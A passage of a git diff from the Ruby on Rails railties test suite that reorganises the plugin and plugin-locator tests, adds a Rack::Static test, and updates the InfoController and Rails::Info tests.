- plugin_consumer.expects(:consume).with(:b)
- plugin_consumer.expects(:consume).with(:c)
-
- locator.each do |plugin|
- plugin_consumer.consume(plugin)
- end
+ locator.each do |plugin|
+ plugin_consumer.consume(plugin)
end
-
end
+end
+class PluginFileSystemLocatorTest < Test::Unit::TestCase
+ def setup
+ @configuration = Rails::Configuration.new
+ # We need to add our testing plugin directory to the plugin paths so
+ # the locator knows where to look for our plugins
+ @configuration.plugin_paths << plugin_fixture_root_path
+ @initializer = Rails::Initializer.new(@configuration)
+ @locator = Rails::Plugin::FileSystemLocator.new(@initializer)
+ @valid_plugin_path = plugin_fixture_path('default/stubby')
+ @empty_plugin_path = plugin_fixture_path('default/empty')
+ end
- class PluginFileSystemLocatorTest < Test::Unit::TestCase
- def setup
- @configuration = Rails::Configuration.new
- # We need to add our testing plugin directory to the plugin paths so
- # the locator knows where to look for our plugins
- @configuration.plugin_paths << plugin_fixture_root_path
- @initializer = Rails::Initializer.new(@configuration)
- @locator = Rails::Plugin::FileSystemLocator.new(@initializer)
- @valid_plugin_path = plugin_fixture_path('default/stubby')
- @empty_plugin_path = plugin_fixture_path('default/empty')
- end
+ def test_should_return_rails_plugin_instances_when_calling_create_plugin_with_a_valid_plugin_directory
+ assert_kind_of Rails::Plugin, @locator.send(:create_plugin, @valid_plugin_path)
+ end
- def test_should_return_rails_plugin_instances_when_calling_create_plugin_with_a_valid_plugin_directory
- assert_kind_of Rails::Plugin, @locator.send(:create_plugin, @valid_plugin_path)
- end
-
- def test_should_return_nil_when_calling_create_plugin_with_an_invalid_plugin_directory
- assert_nil @locator.send(:create_plugin, @empty_plugin_path)
- end
-
- def test_should_return_all_plugins_found_under_the_set_plugin_paths
- assert_equal ["a", "acts_as_chunky_bacon", "engine", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort
- end
-
- def test_should_find_plugins_only_under_the_plugin_paths_set_in_configuration
- @configuration.plugin_paths = [File.join(plugin_fixture_root_path, "default")]
- assert_equal ["acts_as_chunky_bacon", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort
-
- @configuration.plugin_paths = [File.join(plugin_fixture_root_path, "alternate")]
- assert_equal ["a"], @locator.plugins.map(&:name)
- end
+ def test_should_return_nil_when_calling_create_plugin_with_an_invalid_plugin_directory
+ assert_nil @locator.send(:create_plugin, @empty_plugin_path)
+ end
+
+ def test_should_return_all_plugins_found_under_the_set_plugin_paths
+ assert_equal ["a", "acts_as_chunky_bacon", "engine", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort
+ end
+
+ def test_should_find_plugins_only_under_the_plugin_paths_set_in_configuration
+ @configuration.plugin_paths = [File.join(plugin_fixture_root_path, "default")]
+ assert_equal ["acts_as_chunky_bacon", "gemlike", "plugin_with_no_lib_dir", "stubby"].sort, @locator.plugins.map(&:name).sort
- def test_should_not_raise_any_error_and_return_no_plugins_if_the_plugin_path_value_does_not_exist
- @configuration.plugin_paths = ["some_missing_directory"]
- assert_nothing_raised do
- assert @locator.plugins.empty?
- end
- end
+ @configuration.plugin_paths = [File.join(plugin_fixture_root_path, "alternate")]
+ assert_equal ["a"], @locator.plugins.map(&:name)
end
-end # uses_mocha
+ def test_should_not_raise_any_error_and_return_no_plugins_if_the_plugin_path_value_does_not_exist
+ @configuration.plugin_paths = ["some_missing_directory"]
+ assert_nothing_raised do
+ assert @locator.plugins.empty?
+ end
+ end
+end
diff --git a/railties/test/plugin_test.rb b/railties/test/plugin_test.rb
index 50124240a5..a6c390a45a 100644
--- a/railties/test/plugin_test.rb
+++ b/railties/test/plugin_test.rb
@@ -1,167 +1,162 @@
require 'plugin_test_helper'
-uses_mocha "Plugin Tests" do
+class PluginTest < Test::Unit::TestCase
+ def setup
+ @initializer = Rails::Initializer.new(Rails::Configuration.new)
+ @valid_plugin_path = plugin_fixture_path('default/stubby')
+ @empty_plugin_path = plugin_fixture_path('default/empty')
+ @gemlike_plugin_path = plugin_fixture_path('default/gemlike')
+ end
- class PluginTest < Test::Unit::TestCase
+ def test_should_determine_plugin_name_from_the_directory_of_the_plugin
+ assert_equal 'stubby', plugin_for(@valid_plugin_path).name
+ assert_equal 'empty', plugin_for(@empty_plugin_path).name
+ end
- def setup
- @initializer = Rails::Initializer.new(Rails::Configuration.new)
- @valid_plugin_path = plugin_fixture_path('default/stubby')
- @empty_plugin_path = plugin_fixture_path('default/empty')
- @gemlike_plugin_path = plugin_fixture_path('default/gemlike')
- end
+ def test_should_not_be_loaded_when_created
+ assert !plugin_for(@valid_plugin_path).loaded?
+ end
- def test_should_determine_plugin_name_from_the_directory_of_the_plugin
- assert_equal 'stubby', plugin_for(@valid_plugin_path).name
- assert_equal 'empty', plugin_for(@empty_plugin_path).name
+ def test_should_be_marked_as_loaded_when_load_is_called
+ plugin = plugin_for(@valid_plugin_path)
+ assert !plugin.loaded?
+ plugin.stubs(:evaluate_init_rb)
+ assert_nothing_raised do
+ plugin.send(:load, anything)
end
+ assert plugin.loaded?
+ end
- def test_should_not_be_loaded_when_created
- assert !plugin_for(@valid_plugin_path).loaded?
- end
+ def test_should_determine_validity_of_given_path
+ # This is a plugin path, with a lib dir
+ assert plugin_for(@valid_plugin_path).valid?
+ # This just has an init.rb and no lib dir
+ assert plugin_for(plugin_fixture_path('default/plugin_with_no_lib_dir')).valid?
+ # This would be a plugin path, but the directory is empty
+ assert !plugin_for(plugin_fixture_path('default/empty')).valid?
+ # This is a non sense path
+ assert !plugin_for(plugin_fixture_path('default/this_directory_does_not_exist')).valid?
+ end
- def test_should_be_marked_as_loaded_when_load_is_called
- plugin = plugin_for(@valid_plugin_path)
- assert !plugin.loaded?
- plugin.stubs(:evaluate_init_rb)
- assert_nothing_raised do
- plugin.send(:load, anything)
- end
- assert plugin.loaded?
- end
-
- def test_should_determine_validity_of_given_path
- # This is a plugin path, with a lib dir
- assert plugin_for(@valid_plugin_path).valid?
- # This just has an init.rb and no lib dir
- assert plugin_for(plugin_fixture_path('default/plugin_with_no_lib_dir')).valid?
- # This would be a plugin path, but the directory is empty
- assert !plugin_for(plugin_fixture_path('default/empty')).valid?
- # This is a non sense path
- assert !plugin_for(plugin_fixture_path('default/this_directory_does_not_exist')).valid?
+ def test_should_return_empty_array_for_load_paths_when_plugin_has_no_lib_directory
+ assert_equal [], plugin_for(plugin_fixture_path('default/plugin_with_no_lib_dir')).load_paths
+ end
+
+ def test_should_return_array_with_lib_path_for_load_paths_when_plugin_has_a_lib_directory
+ expected_lib_dir = File.join(plugin_fixture_path('default/stubby'), 'lib')
+ assert_equal [expected_lib_dir], plugin_for(plugin_fixture_path('default/stubby')).load_paths
+ end
+
+ def test_should_raise_a_load_error_when_trying_to_determine_the_load_paths_from_an_invalid_plugin
+ assert_nothing_raised do
+ plugin_for(@valid_plugin_path).load_paths
end
- def test_should_return_empty_array_for_load_paths_when_plugin_has_no_lib_directory
- assert_equal [], plugin_for(plugin_fixture_path('default/plugin_with_no_lib_dir')).load_paths
+ assert_raise(LoadError) do
+ plugin_for(@empty_plugin_path).load_paths
end
- def test_should_return_array_with_lib_path_for_load_paths_when_plugin_has_a_lib_directory
- expected_lib_dir = File.join(plugin_fixture_path('default/stubby'), 'lib')
- assert_equal [expected_lib_dir], plugin_for(plugin_fixture_path('default/stubby')).load_paths
+ assert_raise(LoadError) do
+ plugin_for('this_is_not_a_plugin_directory').load_paths
end
-
- def test_should_raise_a_load_error_when_trying_to_determine_the_load_paths_from_an_invalid_plugin
- assert_nothing_raised do
- plugin_for(@valid_plugin_path).load_paths
- end
-
- assert_raises(LoadError) do
- plugin_for(@empty_plugin_path).load_paths
- end
-
- assert_raises(LoadError) do
- plugin_for('this_is_not_a_plugin_directory').load_paths
- end
+ end
+
+ def test_should_raise_a_load_error_when_trying_to_load_an_invalid_plugin
+ # This path is fine so nothing is raised
+ assert_nothing_raised do
+ plugin = plugin_for(@valid_plugin_path)
+ plugin.stubs(:evaluate_init_rb)
+ plugin.send(:load, @initializer)
end
-
- def test_should_raise_a_load_error_when_trying_to_load_an_invalid_plugin
- # This path is fine so nothing is raised
- assert_nothing_raised do
- plugin = plugin_for(@valid_plugin_path)
- plugin.stubs(:evaluate_init_rb)
- plugin.send(:load, @initializer)
- end
- # This path is fine so nothing is raised
- assert_nothing_raised do
- plugin = plugin_for(@gemlike_plugin_path)
- plugin.stubs(:evaluate_init_rb)
- plugin.send(:load, @initializer)
- end
+ # This path is fine so nothing is raised
+ assert_nothing_raised do
+ plugin = plugin_for(@gemlike_plugin_path)
+ plugin.stubs(:evaluate_init_rb)
+ plugin.send(:load, @initializer)
+ end
- # This is an empty path so it raises
- assert_raises(LoadError) do
- plugin = plugin_for(@empty_plugin_path)
- plugin.stubs(:evaluate_init_rb)
- plugin.send(:load, @initializer)
- end
-
- assert_raises(LoadError) do
- plugin = plugin_for('this_is_not_a_plugin_directory')
- plugin.stubs(:evaluate_init_rb)
- plugin.send(:load, @initializer)
- end
+ # This is an empty path so it raises
+ assert_raise(LoadError) do
+ plugin = plugin_for(@empty_plugin_path)
+ plugin.stubs(:evaluate_init_rb)
+ plugin.send(:load, @initializer)
end
-
- def test_should_raise_a_load_error_when_trying_to_access_load_paths_of_an_invalid_plugin
- # This path is fine so nothing is raised
- assert_nothing_raised do
- plugin_for(@valid_plugin_path).load_paths
- end
-
- # This is an empty path so it raises
- assert_raises(LoadError) do
- plugin_for(@empty_plugin_path).load_paths
- end
-
- assert_raises(LoadError) do
- plugin_for('this_is_not_a_plugin_directory').load_paths
- end
- end
- def test_loading_a_plugin_gives_the_init_file_access_to_all_it_needs
- failure_tip = "Perhaps someone has written another test that loads this same plugin and therefore makes the StubbyMixin constant defined already."
- assert !defined?(StubbyMixin), failure_tip
- plugin = plugin_for(@valid_plugin_path)
- plugin.load_paths.each { |path| $LOAD_PATH.unshift(path) }
- # The init.rb of this plugin raises if it doesn't have access to all the things it needs
- assert_nothing_raised do
- plugin.load(@initializer)
- end
- assert defined?(StubbyMixin)
+ assert_raise(LoadError) do
+ plugin = plugin_for('this_is_not_a_plugin_directory')
+ plugin.stubs(:evaluate_init_rb)
+ plugin.send(:load, @initializer)
end
-
- def test_should_sort_naturally_by_name
- a = plugin_for("path/a")
- b = plugin_for("path/b")
- z = plugin_for("path/z")
- assert_equal [a, b, z], [b, z, a].sort
+ end
+
+ def test_should_raise_a_load_error_when_trying_to_access_load_paths_of_an_invalid_plugin
+ # This path is fine so nothing is raised
+ assert_nothing_raised do
+ plugin_for(@valid_plugin_path).load_paths
end
-
- def test_should_only_be_loaded_once
- plugin = plugin_for(@valid_plugin_path)
- assert !plugin.loaded?
- plugin.expects(:evaluate_init_rb)
- assert_nothing_raised do
- plugin.send(:load, @initializer)
- plugin.send(:load, @initializer)
- end
- assert plugin.loaded?
+
+ # This is an empty path so it raises
+ assert_raise(LoadError) do
+ plugin_for(@empty_plugin_path).load_paths
end
-
- def test_should_make_about_yml_available_as_about_method_on_plugin
- plugin = plugin_for(@valid_plugin_path)
- assert_equal "Plugin Author", plugin.about['author']
- assert_equal "1.0.0", plugin.about['version']
+
+ assert_raise(LoadError) do
+ plugin_for('this_is_not_a_plugin_directory').load_paths
end
-
- def test_should_return_empty_hash_for_about_if_about_yml_is_missing
- assert_equal({}, plugin_for(about_yml_plugin_path('plugin_without_about_yaml')).about)
+ end
+
+ def test_loading_a_plugin_gives_the_init_file_access_to_all_it_needs
+ failure_tip = "Perhaps someone has written another test that loads this same plugin and therefore makes the StubbyMixin constant defined already."
+ assert !defined?(StubbyMixin), failure_tip
+ plugin = plugin_for(@valid_plugin_path)
+ plugin.load_paths.each { |path| $LOAD_PATH.unshift(path) }
+ # The init.rb of this plugin raises if it doesn't have access to all the things it needs
+ assert_nothing_raised do
+ plugin.load(@initializer)
end
-
- def test_should_return_empty_hash_for_about_if_about_yml_is_malformed
- assert_equal({}, plugin_for(about_yml_plugin_path('bad_about_yml')).about)
+ assert defined?(StubbyMixin)
+ end
+
+ def test_should_sort_naturally_by_name
+ a = plugin_for("path/a")
+ b = plugin_for("path/b")
+ z = plugin_for("path/z")
+ assert_equal [a, b, z], [b, z, a].sort
+ end
+
+ def test_should_only_be_loaded_once
+ plugin = plugin_for(@valid_plugin_path)
+ assert !plugin.loaded?
+ plugin.expects(:evaluate_init_rb)
+ assert_nothing_raised do
+ plugin.send(:load, @initializer)
+ plugin.send(:load, @initializer)
end
+ assert plugin.loaded?
+ end
- private
+ def test_should_make_about_yml_available_as_about_method_on_plugin
+ plugin = plugin_for(@valid_plugin_path)
+ assert_equal "Plugin Author", plugin.about['author']
+ assert_equal "1.0.0", plugin.about['version']
+ end
- def about_yml_plugin_path(name)
- File.join(File.dirname(__FILE__), 'fixtures', 'about_yml_plugins', name)
- end
+ def test_should_return_empty_hash_for_about_if_about_yml_is_missing
+ assert_equal({}, plugin_for(about_yml_plugin_path('plugin_without_about_yaml')).about)
+ end
- def plugin_for(path)
- Rails::Plugin.new(path)
- end
+ def test_should_return_empty_hash_for_about_if_about_yml_is_malformed
+ assert_equal({}, plugin_for(about_yml_plugin_path('bad_about_yml')).about)
end
-end # uses_mocha
+ private
+
+ def about_yml_plugin_path(name)
+ File.join(File.dirname(__FILE__), 'fixtures', 'about_yml_plugins', name)
+ end
+
+ def plugin_for(path)
+ Rails::Plugin.new(path)
+ end
+end
diff --git a/railties/test/rack_static_test.rb b/railties/test/rack_static_test.rb
new file mode 100644
index 0000000000..ad673f6f19
--- /dev/null
+++ b/railties/test/rack_static_test.rb
@@ -0,0 +1,46 @@
+require 'abstract_unit'
+
+require 'action_controller'
+require 'rails/rack'
+
+class RackStaticTest < ActiveSupport::TestCase
+ def setup
+ FileUtils.cp_r "#{RAILS_ROOT}/fixtures/public", "#{RAILS_ROOT}/public"
+ end
+
+ def teardown
+ FileUtils.rm_rf "#{RAILS_ROOT}/public"
+ end
+
+ DummyApp = lambda { |env|
+ [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
+ }
+ App = Rails::Rack::Static.new(DummyApp)
+
+ test "serves dynamic content" do
+ assert_equal "Hello, World!", get("/nofile")
+ end
+
+ test "serves static index at root" do
+ assert_equal "/index.html", get("/index.html")
+ assert_equal "/index.html", get("/index")
+ assert_equal "/index.html", get("/")
+ end
+
+ test "serves static file in directory" do
+ assert_equal "/foo/bar.html", get("/foo/bar.html")
+ assert_equal "/foo/bar.html", get("/foo/bar/")
+ assert_equal "/foo/bar.html", get("/foo/bar")
+ end
+
+ test "serves static index file in directory" do
+ assert_equal "/foo/index.html", get("/foo/index.html")
+ assert_equal "/foo/index.html", get("/foo/")
+ assert_equal "/foo/index.html", get("/foo")
+ end
+
+ private
+ def get(path)
+ Rack::MockRequest.new(App).request("GET", path).body
+ end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index b63cd00ba5..ab31f3a487 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -2,51 +2,45 @@ require 'abstract_unit'
require 'action_controller'
require 'action_controller/testing/process'
-module Rails; end
require 'rails/info'
require 'rails/info_controller'
-class Rails::InfoController < ActionController::Base
- @local_request = false
- class << self
- cattr_accessor :local_request
- end
-
- # Re-raise errors caught by the controller.
- def rescue_action(e) raise e end;
-
-protected
- def local_request?
- self.class.local_request
- end
-end
-
ActionController::Routing::Routes.draw do |map|
map.connect ':controller/:action/:id'
end
-class Rails::InfoControllerTest < ActionController::TestCase
+class InfoControllerTest < ActionController::TestCase
+ tests Rails::InfoController
+
def setup
- @controller = Rails::InfoController.new
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
+ @controller.stubs(:consider_all_requests_local => false, :local_request? => true)
+ end
+
+ test "info controller does not allow remote requests" do
+ @controller.stubs(:consider_all_requests_local => false, :local_request? => false)
+ get :properties
+ assert_response :forbidden
+ end
- ActionController::Base.consider_all_requests_local = true
+ test "info controller renders an error message when request was forbidden" do
+ @controller.stubs(:consider_all_requests_local => false, :local_request? => false)
+ get :properties
+ assert_select 'p'
+ end
+
+ test "info controller allows requests when all requests are considered local" do
+ @controller.stubs(:consider_all_requests_local => true, :local_request? => false)
+ get :properties
+ assert_response :success
end
- def test_rails_info_properties_table_rendered_for_local_request
- Rails::InfoController.local_request = true
+ test "info controller allows local requests" do
get :properties
- assert_tag :tag => 'table'
assert_response :success
end
-
- def test_rails_info_properties_error_rendered_for_non_local_request
- Rails::InfoController.local_request = false
- ActionController::Base.consider_all_requests_local = false
+ test "info controller renders a table with properties" do
get :properties
- assert_tag :tag => 'p'
- assert_response 500
+ assert_select 'table'
end
end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index 9befd44a58..971cba89d0 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -1,9 +1,12 @@
$:.unshift File.dirname(__FILE__) + "/../lib"
$:.unshift File.dirname(__FILE__) + "/../builtin/rails_info"
$:.unshift File.dirname(__FILE__) + "/../../activesupport/lib"
+$:.unshift File.dirname(__FILE__) + "/../../actionpack/lib"
require 'test/unit'
require 'active_support'
+require 'active_support/test_case'
+require 'action_controller'
unless defined?(Rails) && defined?(Rails::Info)
module Rails
@@ -11,7 +14,7 @@ unless defined?(Rails) && defined?(Rails::Info)
end
end
-class InfoTest < Test::Unit::TestCase
+class InfoTest < ActiveSupport::TestCase
def setup
Rails.send :remove_const, :Info
silence_warnings { load 'rails/info.rb' }
@@ -72,6 +75,18 @@ EOS
end
end
+ def test_middleware_property
+ assert property_defined?('Middleware')
+ end
+
+ def test_html_includes_middleware
+ html = Rails::Info.to_html
+ assert html.include?('<tr><td class="name">Middleware</td>')
+ properties.value_for('Middleware').each do |value|
+ assert html.include?("<li>#{CGI.escapeHTML(value)}</li>")
+ end
+ end
+
protected
def svn_info=(info)
Rails::Info.module_eval do
diff --git a/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification b/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification
index 5483048c1c..27e29912a6 100644
--- a/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification
+++ b/railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification
@@ -9,7 +9,7 @@ date: 2008-10-03 00:00:00 -04:00
dependencies:
- !ruby/object:Gem::Dependency
name: dummy-gem-f
- type: :development
+ type: :runtime
version_requirement:
version_requirements: !ruby/object:Gem::Requirement
requirements: